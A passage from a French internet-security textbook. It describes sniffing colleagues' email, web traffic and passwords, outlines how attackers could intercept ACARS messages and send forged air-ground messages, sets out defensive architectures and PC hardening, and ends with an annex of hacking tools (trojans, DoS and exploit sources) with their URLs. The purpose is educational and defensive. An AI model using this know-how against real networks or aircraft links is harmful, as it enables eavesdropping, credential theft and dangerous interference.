piles de TCP/IP, et les cartes Ethernet ont leurs propres pilotes (drivers), chacun
avec leurs propres caprices. Même les différentes versions du même système
d’exploitation ont des comportements variables.

10.5. Espionnage interne sur un même réseau

10.5.1. La lecture des emails des collègues

Un agresseur situé dans un réseau peut lire les emails (reçus et/ou envoyés) de
tous les utilisateurs, notamment ceux de ses collègues connectés au même réseau.
Pour réaliser cette attaque, il suffit d’installer un sniffer permettant la capture des
paquets selon des critères de filtrage définis par l’utilisateur. Dans notre cas,
l’agresseur définit donc des filtres de telle sorte que le sniffer capture seulement les
paquets dont le port source ou destination est égal à 25. En principe, tout trafic
utilisant le port 25 est un trafic correspondant à des emails2. Puisque les données

1 DHCP : Dynamic Host Configuration Protocol


2 Voir plus haut, chapitre 2 « Service SMTP ».
Les scénarios d’attaques 213

dans les emails sont en général non cryptées, l’agresseur peut alors facilement lire le
contenu des emails traversant le réseau.

Figure 10.5. La lecture des emails des collègues avec le sniffer CommView

Par exemple, en utilisant le sniffer CommView, l’écran ci-dessus montre qu’un


email est envoyé le samedi 8 février 2003 par l’utilisateur « From : Zouheir
Trabelsi » et est destiné à l’utilisateur « To : Zouheir Trabelsi », et dont le sujet est
« Subject : Test ». En lisant, le contenu des paquets qui suivent, l’agresseur peut lire
le reste du contenu du message dans l’email capturé.

La détection des agresseurs utilisant des sniffers dans un réseau est une tache très
difficile. Les antisniffers ne sont pas toujours fiables. Par conséquent, les
administrateurs des réseaux trouvent des difficultés à protéger leurs utilisateurs des
agresseurs qui utilisent les sniffers pour les espionner.

10.5.2. Identifier les sites Web visités par les collègues

Un agresseur situé dans un réseau peut identifier les adresses des sites Web
visités par tous les utilisateurs (par exemples : ses collègues) situés dans le même
214 La sécurité sur Internet

réseau. Pour réaliser cette attaque, il suffit d’installer un sniffer permettant la capture
des paquets selon des critères de filtrage définis par l’utilisateur. Dans notre cas,
l’agresseur défini donc des filtres de telle sorte que le sniffer capture seulement les
paquets dont le port source ou destination est égal à 80. En principe, tout trafic
utilisant le port 80 est un trafic correspondant à des activités Web (service HTTP,
voir chapitre 2).

Par exemple, avec le sniffer Packet Analyzer Professional (www.colasoft.com),


l’écran ci-dessous montre que la machine d’adresse IP 193.95.37.95 est entrain
d’accéder au site web de Yahoo (www.yahoo.com).

Figure 10.6. L’outil Packet Analyzer Professional permet d’identifier


les sites Web visités par les collègues

10. 6. L’obtention des mots de passe des serveurs

Un agresseur peut utiliser un sniffer de mots de passe pour capturer tous les
paquets contenant des mots de passe et accéder à des serveurs. Il suffit de lancer de tels
sniffers, des heures, voire des jours entiers, afin d’obtenir quelques mots de passe.
WinSniffer (www.winsniffer.com) et Ace Password Sniffer (www.effetech.com), Figure
10.7, sont des exemples de sniffers spécialisés dans la capture des mots de passe.
Les scénarios d’attaques 215

Figure 10.7. Ace Password sniffer : un sniffer de mots de passe

10.7. Le risque de falsification des messages avioniques air-sol

A la suite des attaques des avions suicides du 11 septembre 2001, tout le monde
a été secoué, mais le monde aéronautique a été le plus ébranlé. Dans les grands
aéroports, les mesures de sécurité ont été renforcées : contrôle renforcé dans les
aéroports, celui des passagers, des bagages, renforcement de la porte séparant la
cabine de pilotage du reste de l’avion…

Néanmoins, les liaisons Air-Sol n’ont pas encore bénéficié des mesures
appropriées. Il est de notre devoir de signaler le phénomène potentiel de piratage et
de falsification des données transmises automatiquement du sol au pilote ainsi que
les transmissions orales. En effet, bon nombre d’avions sont équipés d’un système
de transmission automatique de données nommé ACARS3, système de
communication Air/sol utilisant le réseau de télécommunication de la SITA4. Le

3 Aircraft Communication Addressing and Reporting system.


4 Société International de télécommunication Aéronautique.
216 La sécurité sur Internet

protocole utilisé ainsi que des messages normalisés sont issus des comités AEEC5 et
de EUROCAE6, l’organisation européenne pour l’équipement de l’aviation civile.

Les applications les plus importantes sont ATIS/DCL (Automatic Terminal


Information/ Departure Clearance) basées sur ce système, c’est-à-dire les
informations échangées entre le pilote et le contrôleur au sol et la demande de
l’autorisation de décollage.

« SkySpy » est un programme combinant un décodeur et une base de données


afin de décoder les transmissions ACARS, transmissions numériques entre les
avions et les stations au sol. Les types d’informations concernent le décollage, les
urgences, la météo, les statuts et performances des avions ainsi que les messages
privés.

La liste minimale d’équipement pour recevoir et décoder les messages


ACARS est la suivante :
– un récepteur A.M ;
– un Pervisell Démodulateur (un décodeur conçu par Perkins, Davis et Cornell)7 ;
– un PC ;
– le software SkySpy.

Muni de ces équipements, on est capable :


– d’enregistrer et décoder les messages des avions ainsi que leur numéro
identifiant,
– de détecter les erreurs de transmission ; de faire défiler sur écran des paquets
de messages,
– d’identifier les messages ainsi que la date et les heures de transmission.

On peut même stocker les messages pour les analyser par la suite.

Ayant connaissance des messages et des canaux émis, le pirate peut envoyer de
fausses informations ATIS/DCL ou des canulars créant une panique à bord. Un cas
extrême avec la réception et/ou la prise de connaissance des informations

5 Airline Electronic Engineering Committee.


6 European Organization for Civil Aviation Electronic.
7Pervisell est une entreprise anglaise spécialisée dans les équipements électroniques
en général et en particulier les logiciels et décodeurs de fréquences radio.
Les scénarios d’attaques 217

météorologiques erronées pourrait être fatale. L’accident de John Kennedy était dû à


deux éléments importants :
– prise en compte d’une page de météo erronée avant le décollage ;
– manque d’expérience en pilotage de l’appareil suivi d’absence d’instructeur ce
soir-là... (un nombre d’heures minimum est nécessaire avant que le pilote puisse
voler seul sans l’aide d’un instructeur).

Voici la démarche potentielle des pirates :


– récupération des informations nécessaires sur les victimes : facile car tout le
monde sait que les lignes régulières des entreprises sont programmées longtemps à
l’avance et possèdent des fréquences répétitives ;
– capture et déchiffrement de leurs messages radio Data/Link (Air/sol) ;
– analyse des messages obtenus ;
– usurpation d’identité et envoi de faux messages créant des situations de
panique risquant d’être impossibles à gérer...

Résumé du chapitre 10

Plusieurs cas et exemples pratiques ont été présentés dans ce chapitre pour
illustrer les attaques et risques potentiels contre les entreprises. De l’attaque pour
l’obtention des renseignements bancaires jusqu’aux risques de falsification des
messages avioniques (télécommunication air-sol) en passant par les attaques de
Netbios, le panorama est certes large mais sûrement incomplet, compte tenu de
l’imagination débordante des pirates.

Les exemples présentés issus de la réalité permettent une meilleure


sensibilisation aux risques encourus et les problèmes de piratage pour des
gestionnaires systèmes ou ingénieurs réseaux des entreprises. Les divers scénarios
exposés démontrent aussi les faiblesses et les vulnérabilités liées aux failles des
protocoles. Cependant il s’avère que la compréhension des faiblesses et les
compétences techniques sont des éléments certes nécessaires mais parfois
insuffisants pour dissuader les pirates à terme. La complémentarité des parades ne
sera pas parfaite sans la connaissance des concepts généraux de la sécurité, les
moyens de protection individuelle des PC et les moyens juridiques adéquats
associés.
Chapitre 11

Les solutions de sécurisation

11.1. Introduction

Dans les précédents chapitres, nous avons présenté certains problèmes de


sécurité tels que les intrusions ou le craquage des mots de passe, et nous avons, pour
chaque cas, proposé des conseils et des solutions pratiques. Dans le présent chapitre,
consacré uniquement aux solutions, nous nous proposons de développer d’autres
techniques, concernant aussi bien les PC individuels que les réseaux.

La terminologie de l’informatique s’est largement inspirée de l’histoire de la


guerre. En effet, on a repris des expressions telles que murs de protection, coupe-feu
(firewalls) et bastions. Ces éléments rappellent les murs et enceintes des châteaux
forts et les donjons du haut desquels les soldats surveillaient la venue des ennemis et
de là aussi, contre-attaquaient avec des lances, des pierres et des flèches. L’histoire
nous raconte aussi que, parfois après plusieurs années de sièges et d’attaques sans
succès, la seule possibilité consistait à imaginer des ruses telles que le fameux
Cheval de Troie pour pénétrer dans les enceintes des assiégés. La fameuse zone
démilitarisée (DMZ) est comparable à la topographie d’antan (séparation par un
ruisseau ou une tranchée).

Cette zone appelée parfois aussi « No man’s land », serait celle du contrôle et de
la protection d’accès aux systèmes et réseau interne contre toutes les tentatives
d’intrusions. Le but est bien évident : ajouter une zone ou une couche
supplémentaire pour la sécurité.
220 La sécurité sur Internet

On peut désigner donc ce moyen de protection comme une protection collective,


conçue et gérée par l’administrateur réseaux ou l’ingénieur système. Cependant, une
protection individuelle du PC n’est pas à négliger.

11.2. Protection individuelle minimale

Avant de détailler la protection collective, nous présentons quelques moyens de


protection peu coûteux mais efficaces, issus de nos expériences. En effet, pendant
nos cours, séminaires ou conférences, la question suivante est souvent posée par nos
interlocuteurs : « Comment peut-on protéger nos systèmes (ordinateurs individuels,
PC ou portables) avec un minimum de coût ou comment éviter certains ennuis ? ».

Voici quelques procédures de protection des PC, sans trop débourser :


– Installer un outil de filtrage des paquets (Firewall personnel);
– Cacher vos fichiers et répertoires ;
– Sauvegarder les données ;
– Inhiber le partage des ressources ;
– Désactiver les éléments à risques.

11.2.1. Installer un outil de filtrage de paquet (firewall personnel)

Les outils de filtrage de paquet servent à filtrer le trafic entrant et sortant de votre
PC. Kerio Personal Firewall1 et ZoneAlarm2 sont d’excellents produits pour filtrer
les paquets selon des règles de filtrage définies en général par l’utilisateur.

Par exemple, pour des raisons de sécurité, on ne voudrait pas qu’une autre
machine « ping » notre PC pour savoir si on est connecté ou non au réseau local ou à
Internet.

On peut alors définir une règle de filtrage indiquant à notre outil de filtrage de
paquet que tous les paquets ICMP echo request (Type = 8) doivent être bloqués3. Les
figures suivantes montrent comment, avec Kerio Personal Firewall, l’utilisateur définit
une règle de filtrage des paquets echo request pour bloquer toutes les tentatives de
ping.

1 www.kerio.com.
2 www.zonelabs.com.
3 Voir chapitre 2.
Les solutions de sécurisation 221

Ecran 1 : l’utilisateur exécute le programme « Kerio Firewall Administration »

Ecran 2 : l’utilisateur clique sur le bouton « Advanced » de l’écran précédent,


afin de définir une nouvelle règle de filtrage. Les principaux champs à remplir dans
l’écran 2 sont :
222 La sécurité sur Internet

– Description : le nom de la règle, par exemple : « Bloquer le Ping ».


– Protocol : le Ping est un programme qui utilise le protocole ICMP. Le type
d’un paquet ICMP pour le cas du Ping est égal à 8 (ICMP echo request).
– Direction : la direction du trafic est entrante « incoming » ; c’est-à-dire, une
machine externe envoie un paquet ICMP echo request (Ping) vers la machine de
l’utilisateur.
– Remote endpoint : L’adresse IP de la machine externe est quelconque
– Action : Refus de tout paquet ICMP echo request

Ecran 3 : cet écran montre la liste des règles de filtrage définies par l’utilisateur.

11.2.2. Cacher les fichiers et répertoires

Si son PC est utilisé par d’autres personnes, l’utilisateur peut cacher ses propres
fichiers et répertoires. Ainsi, même si quelqu’un ouvre ce PC, il ne voit ni les
fichiers ni les répertoires. MagicFolder4 est un excellent outil pour cacher et crypter
fichiers et répertoires.

4 www.pc-magic.com.
Les solutions de sécurisation 223

11.2.3. Sauvegarder vos données

Les professionnels de l’informatique et les utilisateurs avertis savent que la perte


de données est inévitable. En dehors des virus ou programmes malicieux qui
pourraient faire des ravages et détruire des données, il arrive qu’on soit amené, suite
à une malheureuse manipulation (écrasement par inadvertance, etc.), un
dysfonctionnement du programme ZIP5, une panne de disque dur ou autres
composants, la perte ou le vol des ordinateurs, des portables surtout, à se retrouver
démuni devant la volatilisation de longues heures et même parfois des jours de
travail.

Par expérience, nous ne saurions trop conseiller la sauvegarde régulière sur


disquettes et/ou de gravure sur CDROM, notamment pour les travaux volumineux.

11.2.4. Inhiber la possibilité de partage des ressources

Refuser de partager ses ressources n’est pas une preuve d’égoïsme. Mais, s’il est
inévitable, ne pas savoir inhiber le partage est une source de problème. En effet, à
part les ordinateurs qui joueront le rôle de serveurs de fichiers, de disques durs ou
des imprimantes, partager les ressources avec les autres n’est pas la raison d’être des
PC individuels. La désactivation de ce processus est souvent la meilleure parade qui
consiste à bloquer la possibilité pour une machine d’être un serveur d’accès réseau à
distance. La procédure suivante est valable pour Windows 2000 :

Sous Panneau de configuration


► Cliquer sur « Ajout / Suppression de programme»
► Choisir l’onglet « Installation de Windows», puis
► Choisir la rubrique « Communication»
► Double-cliquer sur « Communication» ou choisir « Détail» (les deux façons se
valent); puis
► Décrocher la rubrique « Serveur d’accès réseau à distance» ; et enfin
► Confirmer en cliquant sur OK.

5 Programme de compression et de décompression des fichiers.


224 La sécurité sur Internet

11.2.5. Désactiver les Scritps VBS, Active X et des JavaScripts

Visual Basic est un langage qui ressemble à BASIC. Il a été développé, au


départ, par Microsoft Corporation. En désactivant VBS (Visual Basic Script), tout
lancement automatique de scripts ou programmes malicieux écrits par des pirates
avec ce langage est bloqué.

11.2.5.1. Désactiver les scripts


Exemple pour système Windows, à partir de Windows 2000 :
► cliquer sur « Panneau de configuration »
► dans
Panneau de configuration, cliquer sur « Ajout/Suppression des
programmes »
► cliquer sur l’onglet « Installation de Windows » et sélectionner « Accessoires»
► cliquer sur l’option « Détail»
► décrocher l’option « Scripts Windows»
► cliquer enfin sur OK, pour quitter.

11.2.5.2. Désactiver ActiveX


ActiveX est une technologie développée au départ par Microsoft pour
concurrencer Java. Les éléments ou contrôles d’ActiveX sont des fichiers binaires,
directement exécutables par le processeur. Une fois ces éléments chargés, leur
contrôle est quasi impossible.

Bon nombre de pages Web contiennent des contrôles de type d’ActiveX. Donc la
solution consiste à les désactiver à l’entrée pour protéger les ordinateurs. En voici la
procédure :
► se positionner sur l’icône de l’Internet Explorer et cliquer sur le bouton droit
de la souris ;
► cliquer sur « Propriété »;
► choisir l’onglet « Sécurité » de la fenêtre « Propriétés de Internet » ;
► cliquer sur « Personnaliser le niveau » pour accéder à « Paramètre de sécurité »
► rechercher la rubrique « Contrôles ActiveX et les Plugins » ; puis rechercher la
sous rubrique « Exécuter les contrôles ActiveX »
► Choisir l’option « Approuvé par l’Administrateur » ou « Demander » ; et
enfin, rechercher la sous rubrique « Télécharger les contrôles ActiveX non signés »,
► Choisir « Désactiver » ;
► Cliquer enfin sur le bouton OK en bas de la fenêtre pour confirmer et quitter.
Les solutions de sécurisation 225

11.2.5.3. Désactiver JavaScripts


JavaScript est un langage de script crée par la firme Netscape et qui n’a aucun
rapport avec le langage Java (voir ci-dessous). Ce langage propose des fonctions
pour la conception de pages Web interactives afin d’aider les programmeurs et les
concepteurs des pages Web. Certains pirates utilisent et envoient des petits fichiers
programmes appelés des « spywares» ou cookies aux ordinateurs pour récupérer des
informations et les recevoir sur leur machine. Il est donc souhaitable de désactiver
JavaScript.
► Se positionner sur l’icône de l’Internet Explorer et cliquer sur le bouton droit
de la souris ;
► Cliquer sur « Propriété» ;
► Choisir l’onglet « Sécurité » de la fenêtre « Propriété de Internet » ;
► Cliquer sur « Personnaliser le niveau » pour accéder à « Paramètre de sécurité » ;
► Rechercher (déplacement avec la souris) la rubrique « Script » ; puis
rechercher la sous rubrique « Script des applets Java » ;
► Choisir l’option « Désactiver» ou « Demander» (avec le dernier choix, dès
qu’un script Java devrait s’exécuter, le système vous demandera l’autorisation) ;
► Cliquer enfin sur le bouton OK en bas de la fenêtre pour quitter ;
► Cliquer sur OK de la fenêtre « Propriété de Internet » pour quitter
définitivement, si nécessaire.

11.2.5.4. Désactiver Java


Conçu par la société SUN, Java est un puissant langage de programmation aussi
connu que C ou le langage de type objet C++. Les principales caractéristiques des
programmes Java sont la souplesse et la possibilité d’exécution dans diverses plates-
formes. Autrement dit, ils sont exécutables partout. Les problèmes proviennent
plutôt des différents et complexes interpréteurs de Java, qui ont parfois des bugs
dangereux pour les systèmes. Donc la désactivation de ces programmes Java
s’impose.

La démarche serait identique aux précédentes pour désactiver les programmes de


type Java, il suffirait de chercher la sous rubrique « Autorisations Java» et
d’exécuter la même procédure en choisissant l’option « Désactiver Java ».

Il est à noter que pour les actions décrites précédemment, le système pose la
question suivante « êtes-vous sûr de remplacer les paramètres sécurité de cette
zone ?». Il suffit de répondre par OUI.
226 La sécurité sur Internet

11.3. Les architectures de défense

L’Administrateur a entre autres rôles de construire une architecture solide afin de


pouvoir contrer efficacement les attaques externes. Les combinaisons sont multiples
et plus ou moins vulnérables. Dans ce qui suit, nous donnons, à titre indicatif, une
dizaine d’architectures, ainsi que leurs composition, avantages et inconvénients
respectifs si besoin est.

1er type d’architecture

Bastion
Internet

Routeur
intérieur/ Réseau périphérique
extérieur

Firewall
Réseau interne

Architecture utilisant un routeur intérieur et extérieur fusionnés

Architecture avec :
– un bastion6 / hôte, fournissant tous les services
– -un routeur externe et un autre interne fusionnés

Avantage : rapidité de circulation des flux car sans conflit entre les routeurs.

6 Un bastion est un élément constituant du réseau. C'est le premier élément de contact avec
l'extérieur. Un bastion simple pourrait être un simple PC équipé, par exemple, de quelques
logiciels de filtrage.
Les solutions de sécurisation 227

Inconvénient : la sécurité est moindre. Si le routeur est hors service, un sérieux


problème se pose : plus de communication avec l’extérieur d’où la nécessité de
posséder un routeur souple et puissant.

2e type d’architecture

Hôte
unique
Internet

Routeur
extérieur
Réseau périphérique

Routeur
Firewall intérieur

Réseau interne

Architecture utilisant un bastion

Architecture avec :
– un bastion / hôte, fournissant divers services : FTP, Telnet, SMTP...
– un routeur externe reliant à Internet
– un routeur interne reliant le réseau interne de l’entreprise.

Avantage : le coût n’est pas trop excessif.

Inconvénient : le bastion pourrait être trop chargé. Une fois en panne, il n’y a
plus de services : FTP, Telnet, SMTP....
228 La sécurité sur Internet

3e type d’architecture

Hôte Hôte
FTP/WWW SMTP/DNS
Internet

Routeur
extérieur
Réseau périphérique

Routeur
Firewall intérieur

Réseau interne

Architecture utilisant deux bastions

Architecture avec :
– 2 bastions / hôtes, partageant les services fournissant divers services : FTP,
Telnet, SMTP... Avec l’avantage que les requêtes de nos utilisateurs internes ne
seront pas ralenties
– un routeur externe reliant à l’Internet,
– un routeur interne reliant le réseau interne de l’entreprise.

Avantage : architecture équilibrée. Des routeurs robustes ne peuvent que


renforcer la défense.

4e type d’architecture :

Architecture avec :
– fusion du bastion et du routeur extérieur : un bastion / hôte, fournissant tous les
services, y compris celui jouant le rôle de routeur extérieur,
– un routeur interne.

Cette configuration est intéressante si l’on possède un système d’authentification


implémenté dans le bastion.
Les solutions de sécurisation 229

In tern et

B a s tio n /
ro u te ur e xté rie ur

R ése a u p ér ip hé riq u e

R o u te ur in tér ie ur
F irew a ll
R ése a u in ter ne

A rc h ite cture utilisa nt u n b a stio n e t ro ute ur exté rie u r fusio né s

Avantage : indéniablement, le coût serait moins élevé que l’architecture


précédente, rapidité de filtrage et concentration de vérification et d’authentification.

Inconvénient : le bastion est trop chargé ; sans une certaine robustesse, il


pourrait tomber en panne rapidement. En effet, il joue le double rôle de bastion et de
routeur externe, par conséquent plus fragile à terme par rapport au précédent.

5e type d’architecture

AAttention:
ttention:
nous
nous déconseillons
déconseillons
cette
cette configuration
configuration
Internet

R outeur extérieur
R éseau périphérique
R éseau périphérique

B astion/
routeur intérieur
Firew all
R éseau interne

A rchitecture à un routeur ext. et un bastion/routeur intérieur fusionné


230 La sécurité sur Internet

Architecture avec :
– d’un bastion / hôte, fournissant tous les services, y compris celui jouant le rôle
de routeur intérieur
– d’un routeur externe

Cette configuration est dangereuse et déconseillée parce qu’elle crée une


surcharge du bastion qui ne peut plus jouer pleinement son rôle. D’autant plus que le
prix d’un routeur est dérisoire.

Avantage : prix très abordable

Inconvénient : en cas d’intrusion, le pirate peut voir le trafic interne et atteindre


son but. En effet, il n’y a pas de routeur interne, ni de segmentation.

6e type d’architecture
Attention:
Attention:
nous
nous déconseillons
déconseillons
cette
cette configuration
configuration
Internet

Routeur extérieur Bastion

Réseau périphérique

Routeurs
Firewall intérieurs
Réseau interne

Architecture à plusieurs routeurs intérieurs

Architecture (aussi déconseillée) avec :


– un bastion fournissant tous les services,
– plusieurs routeurs internes,
– un routeur externe.

L’utilisation de plusieurs routeurs internes est nécessitée par les réseaux internes
nombreux pour des raisons techniques, organisationnelles, politiques ou historiques.
Les solutions de sécurisation 231

Inconvénient : le risque de conflit entre les routeurs est très grand


(ralentissement, désynchronisation...).

Nous déconseillons ce type d’architecture. En effet, un problème de conflit


perturbe la réception des informations par les ordinateurs internes, générant
l’indisponibilité...

7e type d’architecture

Internet Bastion

Routeur extérieur

Réseau périphérique

Routeur interne
Firewall
Réseau interne A Réseau interne B

Architecture à plusieurs réseaux internes


:

Architecture avec :
– un bastion fournissant tous les services,
– un routeur externe,
– un seul routeur interne, mais envoyant les informations à plusieurs réseaux
internes.

Ce cas est plus intéressant que le précédent car un seul routeur interne ne connaît
pas de conflit.
Inconvénient : réel problème en cas de panne.
232 La sécurité sur Internet

8e type d’architecture

Internet Bastion

Routeur extérieur

Réseau périphérique

Routeur intérieur
Firewall
Dorsale

Routeur Routeur
Réseau interne A Réseau interne B

Architecture de dorsale à plusieurs réseaux internes

Architecture dorsale avec :


– un bastion fournissant tous les services,
– un routeur externe,
– 3 routeurs internes, mais le problème de conflit peut être réglé par un routeur
hiérarchique dédié : Configuration typique où chaque département de l’entreprise
possède son propre LAN.

Avantage : segmentation du réseau interne.

9ème type d’architecture

Architecture avec :
– un bastion fournissant tous les services,
– deux routeurs externes,
– un seul routeur interne.

Avantage : configuration typique où les informations d’Internet sont coupées de


celles échangées avec les autres partenaires de l’entreprise. En fonction des inputs
entrant, le routeur A ou B jouera son rôle.
Les solutions de sécurisation 233

9e type d’architecture

Internet Réseau du
Bastion fournisseur

Routeur Routeur
extérieur A extérieur B

Réseau périphérique

Routeur intérieur
Firewall
Réseau intérieur

Architecture avec un routeur intérieur et plusieurs routeurs ext.

10e type d’architecture

Architecture avec :
– deux bastions fournissant des services différents,
– deux routeurs externes,
– deux routeurs internes.

Avantage : configuration typique où les informations d’Internet sont coupées de


celles échangées avec les autres partenaires et les flux entrants et sortants sont
contrôlés. Cas plus sécurisé que le précèdent. Une des meilleures architectures parmi
celles qui ont été présentées.

Inconvénient : coût élevé.


234 La sécurité sur Internet

10e type d’architecture

Fournisseur
Internet
Routeur Routeur
extérieur A extérieur B

Réseau périphérique Réseau périphérique


Routeur
Firewall intérieur
Réseau interne Firewall

Architecture utilisant 2 bastions sur 2 réseaux périphériques

11.4. Management par simulation des attaques

Le management par simulation des auto-attaques semble un peu osé mais c’est
un bon moyen pour tester la défense de son réseau et de ses systèmes. Le
responsable réseau ou l’Administrateur, avec l’autorisation de la Direction générale,
devrait simuler des intrusions et des attaques, et essayer, à titre préventif, de percer
les mots de passe des utilisateurs. Pour réaliser ces tâches, il devrait posséder :
– une machine puissante ;
– un logiciel de test d’intrusion et d’attaque7 ou charger une entreprise
spécialisée dans les tests d’intrusion et de détection de vulnérabilités dans les
systèmes et les réseaux ;
– un fichier de dictionnaire contenant plus de 50.000 mots utilisés par les
logiciels de craquage des mots de passe.

7 par exemple : CoreImpact


Les solutions de sécurisation 235

D’autre part, il devrait aussi sniffer et auditer son réseau avec des logiciels dédiés
à ces tâches.

Ce processus de check pourrait être programmé à fréquence fixe : le pratiquer ou


le vérifier au moment des attaques ou du plantage des systèmes serait trop tard...

11.5. Plan de sécurité de l'entreprise

Dès qu'ils possèdent un contrôle d'accès à la salle des ordinateurs ou qu’ils ont
des procédures de sauvegarde des fichiers, de nombreux responsables considèrent
que leur entreprise possède un plan de sécurité et est protégée contre le piratage. Ce
qui est très insuffisant !

Une entreprise ne peut « se vanter » de posséder un plan de sécurité informatique


que si :
– elle possède des documents tels que le schéma directeur sécurité, le plan
pratique de sécurité, des procédures ;
– elle pratique une méthode reconnue de type MARION (Méthode d'analyse des
risques informatiques et d'optimisation par niveau) par exemple ;
– et sensibilise les utilisateurs de ses systèmes informatiques et ses employés en
général par une formation et une prise de conscience collective.

La méthode MARION comporte un certain nombre de concepts, un guide de


principe, des documents spécifiques et fiches méthodologiques.

C'est une démarche globale comprenant au moins six étapes :


– l'analyse des risques ;
– les étapes d'expression du risque maximum admissible ;
– l'analyse des moyens de sécurité ;
– l'évaluation des contraintes ;
– choix des moyens ;
– l'étape d'orientation et d’avant-projet.

Cette phase est importante, compte tenu des éléments selon lesquelles l’on
détermine le budget concernant la protection et la prévention nécessaire.

Pour de plus amples informations sur MARION, on peut se référer à l’adresse


Web : http ://perso.wanadoo.fr/fiweb/marion.htm.
236 La sécurité sur Internet

11.6. Les techniques combinées

Après cette longue démarche technique, il convient de voir comment maximiser


la sécurité. Bien évidemment, nous l’avons assez répété, une architecture sécurisée à
100% est une utopie. L’approcher du mieux possible et autant que faire ce peut
réside dans les moyens attribués par la Direction générale à tout administrateur de
réseaux ou responsable.

Ce concept regroupe une approche efficace avec les axes suivants :


► assurer une protection individuelle minimale par chaque personnel et sur
incitation de l’Administrateur ;
► choisir une architecture de défense efficace et adéquate, c’est le rôle de
l’Administrateur en fonction de son pouvoir et de son budget ;
► se munir des outils d’audit et surveillance et faire ces suivis journaliers ou à
périodes fixes :
scanner de vulnérabilités automatique
logiciel de filtrage de paquets (logiciel firewall)
un système de détection d’intrusion (IDS)
un antivirus.

Ainsi grâce à cette approche, les systèmes et le réseau de l’entreprise se


trouveront renforcés et décourageront les futurs agresseurs.

Résumé du chapitre 11

Après la présentation de quelques techniques non coûteuses comme la


désactivation des éléments à risques (ActiveX, Java, les divers scripts…) pour la
protection d’un ordinateur PC ou d’un portable individuel, dix types d’architectures
sont décrits avec leurs avantages et leurs inconvénients.

Il importe de souligner qu’il n’existe malheureusement aucune architecture


infaillible avec un coût minimal. Les techniques combinées devraient apporter une
sécurité suffisante.
Bibliographie

Ouvrages :

Sécurité des Réseaux, trad. de M. Kaeo, Edition Campus Presse, Paris, 2000.
Hacker attaque, trad. de R. Mansfied, Edition Sybex, Paris, 2001.
Hacking Attention, traduction d’Eric Cole, Edition Campus Press Paris, 2001.
Chatelain Y. et Roche L, Hacker, le 5ème pouvoir, Edition Maxima, Paris, 2002.
Larcher .E., Internet Sécurité, Edition Eyrolles, Paris 2000.
Lucas J.-L., Une architecture Internet pour le système d’information de France
télécom, Edition Eyrolles, 2002.
Ly Henri, Audit informatique, Edition des organisations, Paris, 1991.
TCP/IP, Traduction de J. Casad, Edition Campus Presse, Paris, 2001.
Scambray. J, McLure S., Kurtz G, Halte aux hackers, Edition OEM, Paris, 2001.
Walton G., Le bouclier d’or, Québec, Canada, 2001.
Revues :
2600 : célèbre magazine de piratage, publié aux Etats-Unis, www.2600.com.
Hackers Voice (La voix du pirate informatique) : magazine de piratage, publié en
France, www.dmpfrance.com.
ZATAZ : Hackers & Pirates Magazine, publié en France, www.zataz.com.
Information Security Magazine : www.infosecuritymag.com.
MISCMAG magazine : www.miscmag.com.
Annexe
Références, outils et sites Web

Les sites Internet présentés ci-après sont ceux-là même où les pirates puisent
tous les outils pour commettre leurs forfaits. Pour les responsables de la sécurité
informatique, ils offrent des informations et des outils concernant la sécurité des
réseaux et des systèmes d’informations.
L’utilisation de ces informations et de ces outils et les conséquences qui
pourraient en découler sont sous la responsabilité du lecteur.

► Outils de Piratage et de Sécurité

Advanced HTTP Packet Sniffer. Un sniffer des services utilisant le protocole http,
tel que le Web : http://www.link-rank.com
BackOrifice 2000. Virus de type « Cheval de Troie », une fois installé dans une
machine victime, il permet le contrôle total à distance de la machine :
http:/www.bo2k.com
Cheops. Permet de dresser une carte d’un réseau :
http:/www.marko.net/cheops/
Covert TCP. Cache les données dans les paquets TCP :
http://packetstorm.Securify.com
CPU Hog. Réalise une attaque de Déni de service (DoS) :
http://206.170.197.5/hacking/DENIALOFSERVICE/
Crack : craque des mots de passe pour Unix :
ftp://cerias.cs.purdue.edu/pub/Tools/unix/crack
Dsniff. Sniffer avancé : http://www.monkey.org/-dugsong/dsniff
Firewalk : détermine les règles de filtrages d’un Firewall :
http:// packetstorm.securify.com/UNIX/audit/firemalk
240 La sécurité sur Internet

Fragrouter : il est utilisé pour fragmenter les paquets :


http:/www.anzen.com/
Hunt. Outil de détournement de session (Session Hijacking)
http:/www.cri.cz/kra/index.html
IIS Unicode Exploit. La faille Unicode des serveurs Web IIS :
http:/www.wiretrip.Net/rfp/p/doc.asp?id=57&face=2
Imap Buffer Overflow. Attaque de Buffer Overflow pour Unix :
http://Packetstorm.securify.com
IP Watcher : outil de détournement de session commercial :
http://www.engarde.com
John the Ripper. Craque les mots de passe :
http:/www.openwall.com/john
Jolt2. Outil d’attaque de DoS :
http://razor.bindview.com
Juggernaut. Outil de détournement de session :
http://www.rootshell.com
Land. Outil d’attaque de DoS :
http://packetstorm.securify.com/9901- xploits/eugenics.pl
L0phtcrack. Craque les mots de passe : http://www.10pht.com
Nessus. Scanner de vulnérabilité gratuit : http://www.nessus.org
NetBus. Un virus de type « Cheval de Troie » : http://www.netbus.org
Netcat. Le couteau Suisse d’outils de sécurité (Swiss army knife of security tools)
http://www.10pht.com/
NetMeeting Buffer Overflow. Attaque de Buffer Overflow :
http://packetstorm.securify.com/9905-exploits/microsoft.netmeeting.txt
Nmap. Scanner de port : http://insecure.org/nmap
Packet Analyzer Professional. Un sniffer :
http://www.colasoft.com
Ping of Death. Attaque de DoS :
http://packetstorm.securify.com/9901-exploits/eugenics.pl
Queso. Outil d’identification des systèmes d’exploitation :
http://www.apostols.org/projectz/queso
Smurf. Attaque de DoS :
http://packetstorm.securify.com/new-exploits/papasmurf.c
Sniffit. Sniffer : http://reptile.rug.ac.be/~coder/sniffit/sniffit.html
SSPing. Attaque de DoS:
http://packetstorm.securify.com/9901-exploits/eugenics.pl
Annexe 241

SYN Flood. Attaque de DoS :


http://packetstorm.securify.com/spoof/unix-spoof-code/synk4.zip
Targa. Outil réalisant plusieurs attaques de DoS : http://packetstorm.securify.com
THC Scan. Outil de « War-Dialing » : http://thc.inferno.tusculum.edu
ToolTalk Buffer Overflow. Attaque de Buffer Overflow : http://securityfocus.com
TFN2K. Attaque de déni de service distribué (DDoS):
http://packetstorm.securify.com/distributed/
Trinoo. Attaque de déni de service distribué (DDoS):
http://packetstorm.securify.com/distributed/
TTY Watcher. Outil de détournement de session :
ftp://coast.cs.purdue.edu/pub/tools/unix/ttywatcher
xSharez. Cherche les répertoires et fichiers partagés sur une machine Windows.
Inclut xIntruder un excellent craqueur de mots de passe : http://www.download.com
Whisker. Scanner de vulnérabilités CGI : http://www.wiretrip.net/rfp
